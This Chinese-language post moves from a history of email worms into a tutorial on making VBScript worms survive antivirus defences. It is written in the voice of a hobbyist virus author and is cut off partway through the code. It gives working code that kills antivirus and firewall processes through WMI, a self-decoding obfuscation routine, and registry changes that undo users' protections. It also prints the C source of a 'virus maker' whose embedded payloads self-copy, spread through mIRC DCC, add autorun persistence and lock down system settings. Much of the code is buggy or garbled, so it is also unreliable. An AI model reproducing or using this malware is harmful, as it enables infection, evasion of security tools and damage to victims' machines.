2000年5月：“爱虫”(LoveLetter)病毒出现。“爱虫”病毒是一种脚本病毒，它通过微软的电子邮件系统进行传播。这一病毒的邮件主题为“I Love You”，包含一个附件“Love-Letter-for-you.txt.vbs”，一旦在微软电子邮件中打开这个附件，系统就会自动复制并向用户通讯簿中所有的电子邮件地址发送这一病毒，其传播速度比“梅莉沙”病毒还要快好几倍。

２００１年１月２１日
一种变形的“梅丽莎”病毒侵袭麦金塔（Ｍａｃｉｎｔｏｓｈ）电脑。这种病毒能感染Ｍａｃ文件，
病毒产生的大量电子邮件可以堵塞服务器，修改微软Ｗｏｒｄ程序的设置，感染文件和模板。
携带这种“梅丽莎”病毒的电子邮件附件名叫“Ａｎｎｉｖ．ＤＯＣ”。这是这种类型的病毒第一次将矛头指向了麦金塔电脑。

２００１年２月１５日
荷兰警方１３日逮捕了一名自称发明了“库尔尼科娃”电脑病毒的２０岁男子。此人要面临坐牢４年的处罚。
通过电子邮件传播的“库尔尼科娃”病毒１２日在欧洲、美洲和亚洲发作，大量垃圾邮件积压在电子邮件系统内，
系统速度明显变慢，有的公司干脆关闭了电子邮件系统。这名荷兰男子自称是１９岁的俄罗斯网球女星安娜·库尔尼科娃的球迷
这个病毒的作者说，他不是编程专家，不过是从互联网上下载了病毒，然后编写程序完成的。

２００１年５月６日
一种新的恶性电脑病毒“欢乐时光”（Ｈａｐｐｙｔｉｍｅ／ＶＢＳＨａｐｐｙｔｉｍｅ．Ａ．Ｗｏｒｍ）已在中国开始传播。
“欢乐时光”病毒很可能是一种国产病毒，它是类似“爱虫”的蠕虫类病毒。用户通过美国微软公司办公套件（Ｏｕｔｌｏｏｋ）
收取带有“欢乐时光”病毒的邮件时，无论用户是否打开邮件，只要鼠标指向带毒的邮件，“欢乐时光”病毒即被激活，
随后立即传染硬盘中的文件。感染“欢乐时光”病毒后，如果电脑时钟的日期和月份之和为１３，
则该病毒将逐步删除硬盘中的ＥＸＥ和Ｄｌｌ文件，最后导致系统瘫痪。

▲２００１年５月１１日

新病毒“主页”正在全球传播，这种被称作“ＨｏｍｅＰａｇｅ”的病毒被看作是“库尔尼科娃”病毒的“远亲”。携带这种电脑病毒的邮件题目为“主页”，邮件正文写道：“嗨，你应该看看这个网页，它确实很酷。”邮件中夹带着一个名为“ＨＯＭＥＰＡＧＥ．ＨＴＭＬ．ＶＢＳ”的附件。用户一旦打开附件，病毒第一步先自我复制，并向微软Ｏｕｔｌｏｏｋ地址簿中的每一个地址发去一封携毒邮件。然后搜索Ｏｕｔｌｏｏｋ收件箱，将其中名为“主页”的信件统统删除，同时打开数个色情网页。值得庆幸的是，上述病毒没有造成太大的破坏，不到１万台电脑受此影响陷入了瘫痪。由于时差的关系，美国地区的防病毒公司在接到来自东半球的消息后，对病毒加以防范，成功抵制了病毒进一步扩散。

                                         ---------摘自《一个真实的病毒世界》
                                                           中国毒客公社 http://www.retcvc.com

脚本病毒的制造非常的容易，对于一个对编程一窍不通的人来说，只要对windows系统和注册表有足够的了解，
在到网络上下载几个病毒代码仔细看看，就能在短时间内写出一个病毒的变种体来，脚本病毒的特征性就是
那么几个，没有多少编程技巧而言，所以真正的病毒制造者是不用vbscript写病毒的，现在由于脚本语言的流行，
以及Micrsoft推出的WSH(Windows Script Hosting),更让这些脚本语言可以在一台计算机上兴风作浪。
WSH是一个能让Visual Basic Script和JScript脚本在Windows环境下，如命令行里的批处理文件一样运行的一个服务。
它可以让Script去创建一个Windows里的COM/OLE对象，并去使用这些对象里的方法，属性和事件。脚本病毒的制造非常的容易，
对于一个对编程一窍不通的人来说，只要对windows系统和注册表有足够的了解，在到网络上下载几个病毒代码仔细看看，
就能在短时间内写出一个病毒的变种体来.因此脚本病毒容易写,也容易被清楚和防范,网上针对怎样防范它的文章可谓多如牛毛,
人亦发展,病毒也要进化哈

                                                    Begin

1，现在的很多杀毒软件都能对未知的脚本病毒做出判断，所以病毒要想生存就必须做出更好的保护：
  
(1).病毒要用到大量的VMI，使其可以杀掉杀毒软件或防火墙的进程，这里我给出一段代码:
do
strComputer = "."
Set objWMIService = GetObject(""winmgmts:"" & ""{impersonationLevel=impersonate}!\\\\"" & strComputer & ""\\root\\cimv2"")
fv = Array(""Notepad.exe"", ""pccguide.exe"", ""pccclient.exe"",""Rfw.exe"", ""DAVPFW.exe"", ""vpc32.exe"", ""ravmon.exe"", ""debu.exe"", ""scan.exe"", ""mon.exe"", ""vir.exe"", ""iom.exe"", ""ice.exe"", ""anti.exe"", ""fir.exe"", ""prot.exe"", ""secu.exe"", ""dbg.exe"", ""pcc.exe"", ""avk.exe"", ""spy.exe"", ""pcciomon.exe"", ""pccmain.exe"", ""pop3trap.exe"", ""webtrap.exe"", ""vshwin32.exe"", ""vsstat.exe"", ""navapw32.exe"", ""lucomserver.exe"", ""lamapp.exe"", ""atrack.exe"", ""nisserv.exe"", ""vavrunr.exe"", ""navwnt.exe"", ""pview95.exe"", ""luall.exe"", ""avxonsol.exe"", ""avsynmgr.exe"", ""symproxysvc.exe"", ""regedit.exe"", ""smtpsvc.exe"", ""moniker.exe"", ""program.exe"", ""explorewclass.exe"", ""rn.exe"", ""ms.exe"", ""microsoft.exe"", ""office.exe"", ""smtpsvc.exe"", ""avconsol.exe"", ""avsunmgr.exe"", ""vsstat.exe"", ""navapw32.exe"", ""navw32.exe"", ""nmain.exe"", ""luall.exe"", ""lucomserver.exe"", ""iamapp.exe"", ""atrack.exe"", ""nisserv.exe"", ""rescur32.exe"", ""nisum.exe"", "" navlu32.exe"", ""navrunr.exe"", ""pview95.exe"", ""f-stopw.exe"", ""f-prot95.exe"", ""pccwin98.exe"", ""fp-win.exe"", ""nvc95.exe"", ""norton.exe"", ""mcafee.exe"", ""antivir.exe"", ""webscanx.exe"", ""safeweb.exe"", ""cfinet.exe"", ""cfinet32.exe"", ""avp.exe"", ""lockdown2000.exe"", ""lockdown2002.exe"", ""zonealarm.exe"", ""wink.exe"", ""sirc32.exe"", ""scam32.exe"", ""regedit.exe"", ""tmoagent.exe"", ""tmntsrv.exe"", ""tmproxy.exe"", ""tmupdito.exe"", ""tsc.exe"", ""krf.exe"", ""kpfw32.exe"", ""_avpm.exe"", ""autodown.exe"", ""avkser.exe"", ""avpupd.exe"", ""blackd.exe"", ""cfind.exe"", ""cleaner.exe"", ""ecengine.exe"", ""fp-win.exe"", ""iamserv.exe"", ""lcloadnt.exe"", ""lookout.exe"", ""n32acan.exe"", ""navw32.exe"", ""normist.exe"", ""padmin.exe"", ""pccwin98.exe"", ""rav7win.exe"", ""smc.exe"", ""tca.exe"", ""vettray.exe"", ""ackwin32.exe"", ""avpnt.exe"", ""avpdos32.exeP"", ""avsched32.exe"", ""blackice.exe"", ""efinet32.exe"", ""esafe.exe"", ""ibmasn.exe"", ""icmoon.exe"", ""navapw32.exe"", ""nupgrade.exe"", ""pavcl.exe"", ""pcfwallicon.exe"", ""scanpm.exe"", ""sphinx.exe"", ""sphinx.exe"", ""tds2-98.exe"", ""vsscan40.exe"", ""webscanx.exe"", ""webscan.exe"", ""anti-trojan.exe"", ""ave32.exe"", ""avp.exe"", ""avpm.exe"", ""cfiadmin.exe"", ""dvp95.exe"", ""espwatch.exe"", ""ibmavsp.exe"", ""icsupp95.exe"",""jed.exe"", ""moolive.exe"", ""nisum.exeP"", ""nvc95.exe"", ""navsched.exe"", ""persfw.exe"", ""safeweb.exe"", ""scrscan.exe"", ""sweep95.exe"", ""tds2-nt.exe"", ""_avpcc.exe"", ""apvxdwin.exe"", ""avwupd32.exe"", ""cfiaudit.exe"", ""claw95ct.exe"", ""dv95_O.exe"", ""f-agnt94.exe"", "" findviru.exe"", ""iamapp.exe"", ""icload95.exe"", ""icssuppnt.exe"", ""mpftray.exe"", ""nmain.exe"", ""rav7.exe"", ""scan32.exe"", ""serv95.exe"", ""vshwin32.exe"", ""zonealarm.exe"", ""avpmon.exe"", ""avp32.exe"", ""kavsvc.exe"", ""mcagent.exe"", ""nvsvc32.exe"", ""mcmnhdlr.exe"", ""regsvc.exe"", ""mailmon.exe"", ""fp-win.exe"", ""mghtml.exe"")"
for Each fa in fv
Set colProcessList = objWMIService.ExecQuery (""Select * from Win32_Process Where Name = \''""&fa&""\''"")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
next
loop
Array()数组存放了200多个杀毒软件和防火墙的主进程，当然你可以在程序的一开始就定义这个数组，在下面
的感染函数部分中，用它就可以删除这些软件的主程序体。但话又说回来，这要在抢在杀毒软件之前就运行起来
，才能达到目的。

(2).病毒要尽可能的用到变形功能，使用新的加密算法，当然脚本的加密算法是很简单的，在这一点上新欢乐时光
就做的很好.
Execute DeCode("kqe`mv fcjjm ")
Function DeCode(Coded)
For i=1 To Len(Coded)
Curchar=Mid(Coded,i,1)
If Asc(Curchar) = 15 then Curchar=chr(10)
Else if Asc(Curchar) = 16 then Curchar=chr(13)
Else if Asc(Curchar) = 17 then Curchar=chr(32)
Else if Asc(Curchar) = 18 then Curchar=chr(9)
Else Curchar=chr(Asc(Curchar)-2)
end if
DeCode=Decode & Curchar
Next
End function
下面给出一个c的示例（程序有点问题，请老师指教一下^_^）

#include <string.h>
#include <stdio.h>
main()
{
    FILE *in,*out,*read;
    char *exc="Execute DeCode(\\"";
    char *excu="\\")\\n";
    char *func="Function DeCode(Coded)\\nFor i=1 To Len(Coded)\\nCurchar=Mid(Coded,i,1)\\n";
    char *funct="If Asc(Curchar) = 15 then Curchar=chr(10)\\nElse if Asc(Curchar) = 16 then Curchar=chr(13)\\n";
    char *functi="Else if Asc(Curchar) = 17 then Curchar=chr(32)\\nElse if Asc(Curchar) = 18 then Curchar=chr(9)\\nElse Curchar=chr(Asc(Curchar)-2)\\nend if\\nDeCode=Decode & Curchar\\nNext\\nEnd function\\n";
    char buf[100][101];
    char name[30];
    char ch;
    char *p;
    int i=0,j=0;
    gets(name);
    if((in=fopen(name,"r+"))==NULL)
    {
printf("Can\''t open the file %",name);
exit(0);
    }
    ch=getc(in);
    while(!feof(in))
    {
if(ch==15) ch=10;
else if(ch==16) ch=13;
else if(ch==17) ch=32;
else if(ch==18) ch=9;
else ch=ch-2;
fseek(in,-1L,1);
fputc(ch,in);
fseek(in,0L,1);
ch=getc(in);
    }
    fclose(in);
    read=fopen(name,"r+");
    do
    {
       if(i>=100)
       {
  fclose(in);
       }
       p=fgets(buf,80,in);
       i++;
    }while(p!=NULL);
    fclose(read);
    out=fopen(name,"w+");
    fputs(exc,out);
    for(;j<i-1;j++)
    {
       fputs(buf[j],out);
    }
    fputs(excu,out);
    fputs(func,out);
    fputs(funct,out);
    fputs(functi,out);
    fclose(out);
}

5,有些windows的高级用户为了防范脚本病毒，把注册表中的filesystemobject项给删掉了，新的蠕虫将在执行的开始，
检查系统的filesystemobject项是否存在，如果不存在的话，将重新写入filesystemobject项，当然你也可以将其换个名称，这样有些
杀毒软件就不一定认识了，
On Error Resume Next
Set wa=CreateObject("WSc"+"ript.S"+"hell")
tt=wa.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools")
if tt=1 then
wa.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", 00000000, "REG_DWORD"
end if
uu=wa.RegRead("HKEY_CLASSES_ROOT\\CLSID\\{0D43FE01-F093-11CF-8940-00A0C9054228}")
if uu="" then
uu.RegWrite "HKEY_CLASSES_ROOT\\CLSID\\{0D43FE01-F093-11CF-8940-00A0C9054228}" , "FileSystemObject", "REG_SZ"
end if
或者
a.regdelete "HKEY_CLASSES_ROOT\\Scripting.FileSystemObject\\CLSID\\"
a.regdelete "HKEY_CLASSES_ROOT\\Scripting.FileSystemObject\\"
a.regwrite "HKEY_CLASSES_ROOT\\wangzhitong\\", "FileSystem Object", "REG_SZ"
a.regwrite "HKEY_CLASSES_ROOT\\wangzhitong\\CLSID\\", "{0D43FE01-F093-11CF-8940-00A0C9054228}", "REG_SZ"
set yu=createobject("wangzhitong")
以后系统内的filesystemobject项就被替换成了wangzhitong.

6,自己写好的蠕虫怎能让其他的蠕虫一起存在一个系统中呢，所以要劲可能的消灭其他的病毒程序:)
  当然你要先分析那些病毒程序，只要清除掉他们就行了。
附:   脚本病毒制造机
利用病毒制造机可以很轻松的制造出病毒来,比如库儿尼科娃的作者就是利用vbswg做出来的，小弟也用过很多种的脚本病毒制造机,
但用他们制造出的病毒,都是很低级的,还有人把用脚本该写注册表的程序就称之为病毒,而且写出个破烂程序来就大肆宣扬,晕3,
不知国内的大哥们究竟是怎么想的,记得vbswg2.0是用vb写的,而且是很早的时候了,高手是不愿写这些东西的,自己高考后也写过
一个脚本病毒制造机,一开始觉的很有成就感,可漫漫深入理解编程的实质时,就觉的那是个非常无聊的程序,下面给出这个程序的原代码,
高手不必看了，没做优化,菜鸟可以鉴戒一下:

#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>
#define exit_success 0
#define again 1
#define m 4

int make();
int care();
void password(void);
void out(void);

main()
{
    char choose;
    clrscr();
    printf("*******************************************************************************\\n");
    printf("This is a VBS virus made machine,it\''s only used to study,don\''t used to destory.\\n");
    printf("                             Programmed by W.Z.T\\n");
    printf("                                 Version 0.1\\n");
    printf("*******************************************************************************\\n");
    puts("\\n\\t1--Strat Make\\t\\t2--View Help\\t\\t3--Exit");
    while(again)
    {
printf("choice:");
scanf("%c",&choose);
tch(choose)
{
      case\''1\'':
      {
    make();
    clrscr();
    return 0;
      }
      case\''2\'':
      {
    clrscr();
    puts("I like Virus,so i write a machine which anybody can make a Virus much easiler.\\n");
    puts("This Version is my first one,i will try to write a better one later.\\n");
    out();
      }
      case\''3\'':
      {
    exit(exit_success);
      }
      default:
      {
    puts("choice 1,2 or 3");
      }
}
    }
}

void out(void)
{
    printf("\\npause");
    getch();
    main();
}

void password(void)
{
    int i,j,y=0;
    char pwd[11+1],pass[]="wangzhitong";
    fflush(stdin);
    printf("If you want to use this function,please input the password.\\n");
    for(j=0;;)
    {
       if((pwd[j]=getch())==13)
       {
   pwd[j]=\''\\0\'';
   break;
       }
       else if(pwd[j]==8)
       {
   if(y!=0)
   {
      printf("\\b");
      y--;
      j--;
   }
   putchar(0);
   printf("\\b");
       }
       else if(j==11)
    continue;
       else
       {
    printf("*");
    y++;
    j++;
       }
   }
   if(strcmp(pwd,pass)==0)
   {
       printf("\\ndone.\\n");
   }
   else
   {
       printf("password error.\\n");
   }
}

int make()
{
    FILE *fp,*fp1;
    int i,j,aa,bb,cc,dd,ee,ff,gg,hh,jjj,kkk,lll,y=0,word=0,number=0;
    char ch,w[5],*vc=w;
    char subject[200],*sub=subject;
    char body[400],*bo=body;
    char string[100],*pop=string;
    char road[100],name2[40],road2[100],time[20],web[100];
    char pwd[11+1],pass[]="wangzhitong";
    char *ext1[27]={"txt","vbs","vbe","html","htm","bak","dll","pfg","ppl","c","bin","sig","vdb","dat","doc","xls","tsk","tmp","vdb","vlg","dsc","ptn","set","log","cfg","idx","rec"};
    char **pl=ext1;
    char str1[25][100]={"(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\"","(ext=\\""};
    char str2[]="\\") or";
    char *str[27],**pa=str;
    char *a="\\non error resume next\\nset fso=createobject(\\"scripting.filesystemobject\\")\\nset a=createobject(\\"wscript.shell\\")\\nset dir1=fso.getspecialfolder(0)\\nset dir2=fso.getspecialfolder(1)\\nset k=fso.getfile(wscript.scriptfullname)\\n";
    char *b="k.copy(dir2&\\"\\\\system.vbe\\")\\n";
    char *c="k.copy(dir1&\\"\\\\windows.vbe\\")\\n";
    char *d="set ag=fso.createtextfile(dir1&\\"\\kill.vbe\\")\\nag.writeline \\"on error resume next\\"\\nag.writeline \\"do\\"\\nag.writeline \\"strComputer=\\"\\".\\"\\"\\"\\n";
    char *e="ag.writeline \\"set objWMIService=GetObject(\\"\\"winmgmts:\\"\\" & \\"\\"{impersonationLevel=impersonate}!\\\\\\\\\\"\\" & strComputer & \\"\\"\\\\root\\\\cimv2\\"\\")\\"\\n";
    char *f="ag.writeline \\"fv=Array(\\"\\"notepad.exe\\"\\",\\"\\"pccguide.exe\\"\\",\\"\\"pccclient.exe\\"\\",\\"\\"rfw.exe\\"\\",\\"\\"davpfw.exe\\"\\",\\"\\"vpc32.exe\\"\\",\\"\\"ravmon.exe\\"\\")\\"\\n";
    char *g="ag.writeline \\"for Each fa in fv\\"\\nag.writeline \\"Set colProcessList=objWMIService.ExecQuery (\\"\\"Select * from Win32_Process Where Name=\\\''\\"\\"&fa&\\"\\"\\\''\\"\\")\\"\\nag.writeline \\"For Each objProcess in colProcessList\\"\\n";
    char *h="ag.writeline \\"objProcess.Terminate()\\"\\nag.writeline \\"Next\\"\\nag.writeline \\"next\\"\\nag.writeline \\"loop\\"\\nag.close\\na.run fso.getspecialfolder(0) & \\"\\\\kill.vbe\\"\\nset ai=fso.getfile(dir1&\\"\\\\kill.vbe\\")\\n";
    char *ii="ai.attributes=ai.attributes+2\\n";
    char *jj="set cc=fso.createtextfile(dir1&\\"\\\\Run.bat\\")\\ncc.writeline \\"@echo off\\"\\ncc.writeline \\"cls\\"\\ncc.writeline \\"echo              %date% %time%\\"\\ncc.writeline \\"echo    Chinese hacker is the best!\\"\\n";
    char *k="cc.writeline \\"prompt $P$G$$$_*tthacker@eyou.com*\\"\\ncc.writeline \\"echo on\\"\\ncc.close\\nset at=fso.getfile(dir1&\\"\\\\Run.bat\\")\\nat.attributes=at.attributes+2\\n";
    char *l="set sii=fso.createtextfile(dir2&\\"\\\\event.ini\\")\\nsii.writeline \\"[Levels]\\"\\nsii.writeline \\"Enabled=1\\"\\nsii.writeline \\"Count=6\\"\\nsii.writeline \\"Level1=000-Unknowns\\"\\nsii.writeline \\"000-UnknownsEnabled=1\\"\\n";
    char *mm="sii.writeline \\"Level2=100-Level 100\\"\\nsii.writeline \\"100-Level 100Enabled=1\\"\\nsii.writeline \\"Level3=200-Level 200\\"\\nsii.writeline \\"200-Level 200Enabled=1\\"\\n";
    char *nn="sii.writeline \\"Level4=300-Level 300\\"\\nsii.writeline \\"300-Level 300Enabled=1\\"\\nsii.writeline \\"Level5=400-Level 400\\"\\nsii.writeline \\"400-Level 400Enabled=1\\"\\n";
    char *oo="sii.writeline \\"Level6=500-Level 500\\"\\nsii.writeline \\"500-Level 500Enabled=1\\"\\nsii.writeline \\"\\"\\n";
    char *pp="sii.writeline \\"[000-Unknowns]\\"\\nsii.writeline \\"UserCount=0\\"\\nsii.writeline \\"EventCount=0\\"\\nsii.writeline \\"\\"\\n";
    char *qq="sii.writeline \\"[100-Level 100]\\"\\nsii.writeline \\"User1=*!*@*\\"\\nsii.writeline \\"UserCount=1\\"\\nsii.writeline \\"Event1=ON JOIN:#:/dcc tsend $nick \\" & fso.getspecialfolder(1) & \\"\\\\system.vbe\\"\\nsii.writeline \\"EventCount=1\\"\\n";
    char *rr="sii.writeline \\"\\"\\nsii.writeline \\"[200-Level 200]\\"\\nsii.writeline \\"UserCount=0\\"\\nsii.writeline \\"EventCount=0\\"\\nsii.writeline \\"\\"\\n";
    char *ss="sii.writeline \\"[300-Level 300]\\"\\nsii.writeline \\"UserCount=0\\"\\nsii.writeline \\"EventCount=0\\"\\nsii.writeline \\"\\"\\nsii.writeline \\"[400-Level 400]\\"\\nsii.writeline \\"UserCount=0\\"\\nsii.writeline \\"EventCount=0\\"\\n";
    char *tt="sii.writeline \\"\\"\\nsii.writeline \\"[500-Level 500]\\"\\nsii.writeline \\"UserCount=0\\"\\nsii.writeline \\"EventCount=0\\"\\nsii.close\\nset wi=fso.getfile(dir2&\\"\\\\event.ini\\")\\nwi.attributes=attributes+2\\n";
    char *uu="set rei=fso.createtextfile(dir1&\\"\\\\check.vbe\\")\\nrei.writeline \\"on error resume next\\"\\nrei.writeline \\"dim bb,aa,cc\\"\\nrei.writeline \\"set cc=createobject(\\"\\"wscript.shell\\"\\")\\"\\n";
    char *vv="rei.writeline \\"aa=minute(time)\\"\\nrei.writeline \\"bb=aa\\"\\nrei.writeline \\"do\\"\\nwei.writeline \\"bb=minute(time)\\"\\nrei.writeline \\"loop until aa>=bb+1\\"\\nrei.writeline \\"cc.run \\"\\"system.vbe\\"\\"\\"\\nrei.close\\n";
    char *ww="a.run \\"check.vbe\\"\\nset ahd=fso.getfile(dir1&\\"\\\\check.vbe\\")\\nahd.attributes=attributes+2\\nset ah=fso.getfile(dir2&\\"\\wscript.exe\\")\\nah.attributes=attritutes+2\\n";
    char *xx="set bh=fso.getfile(dir2&\\"\\\\cscript.exe\\")\\nbh.attributes=attributes+2\\nset apq=fso.createtextfile(dir2&\\"\\system.inf\\")\\napq.writeline \\"[Autorun]\\"\\napq.writeline \\"open=system.vbs\\"\\napq.close\\n";
    char *yy="set pr=fso.getfile(dir2&\\"\\\\system.inf\\")\\npr.attributes=attributes+2\\nkill()\\nregruns()\\nlistadriv()\\njuyu()\\nmail()\\n";
    char *kill1="sub kill()\\nset fso=createobject(\\"scripting.filesystemobject\\")\\nset aa=createobject(\\"wscript.shell\\")\\nbb = \\"";
    char *kill2="vv = they(bb)\\nset tt=fso.createtextfile(fso.getspecialfolder(0) & \\"\\\\rav.exe\\",true)\\ntt.write vv\\ntt.close\\naa.run fso.getspecialfolder(0) & \\"\\\\rav.exe\\",1,false\\ntehy(our)\\nend sub\\n";
    char *kill3="Function they(our)\\nFor mine=1 To Len(our) Step 2\\nthey = they & Chr(\\"&h\\" & Mid(our,mine, 2))\\nNext\\nEnd Function\\n";
    char *reg1="sub regruns()\\non error resume next\\nset a=createobject(\\"wscript.shell\\")\\nkj=\\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\\\"\\nki=\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\\\"\\n";
    char *reg2="a.regwrite kj&\\"Internet Settings\\\\NoNetAutodial\\",01,\\"REG_BINARY\\"\\na.run \\"RUNDLL32.exe shell32,dll,SHExitWindowsEx2\\"\\na.run \\"ping -1 6500 -t ";
    char *reg3="a.regwrite kj&\\"Policies\\\\System\\\\DisableRegistryTools\\",\\"00000001\\",\\"REG_DWORD\\"\\n";
    char *reg4="a.regwrite kj&\\"Policies\\\\Explorer\\\\NoFolderOptions\\",\\"00000001\\",\\"REG_DWORD\\"\\n";
    char *reg5="a.regwrite kj&\\"Policies\\\\Uninstall\\\\NoAddFromCDorFloppy\\"\\"00000001\\",\\"DWORD\\"\\n";
    char *reg6="a.regwrite kj&\\"Policies\\\\Uninstall\\NoAddRemovePrograms\\",\\"00000001\\",\\"REG_DWORD\\"\\n";
    char *reg7="a.regwrite kj&\\"Policies\\\\Uninstall\\NoAddRemovePage\\",\\"00000001\\",\\"REG_DWORD\\"\\n";
    char *reg8="a.regwrite kj&\\"Policies\\\\Explorer\\\\Advanced\\\\folder\\\\Hidden\\\\SHOWALL\\\\checkedValue\\",\\"00000001\\",\\"REG_DWORD\\"\\n";
    char *reg9="a.regwrite \\"HKLM\\\\Software\\\\CLASSES\\\\.reg\\",\\"txtfile\\"\\n";
    char *reg10="a.regwrite \\"HKLM\\\\Software\\\\Microsoft\\\\Command Processor\\\\AutoRun\\",\\"%systemroot%\\\\run.bat&system32.vbe\\",\\"REG_SZ\\"\\n";
    char *reg11="a.retwrite \\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\system\\",dir1&\\"\\\\windows.vbe\\"\\nend sub\\n";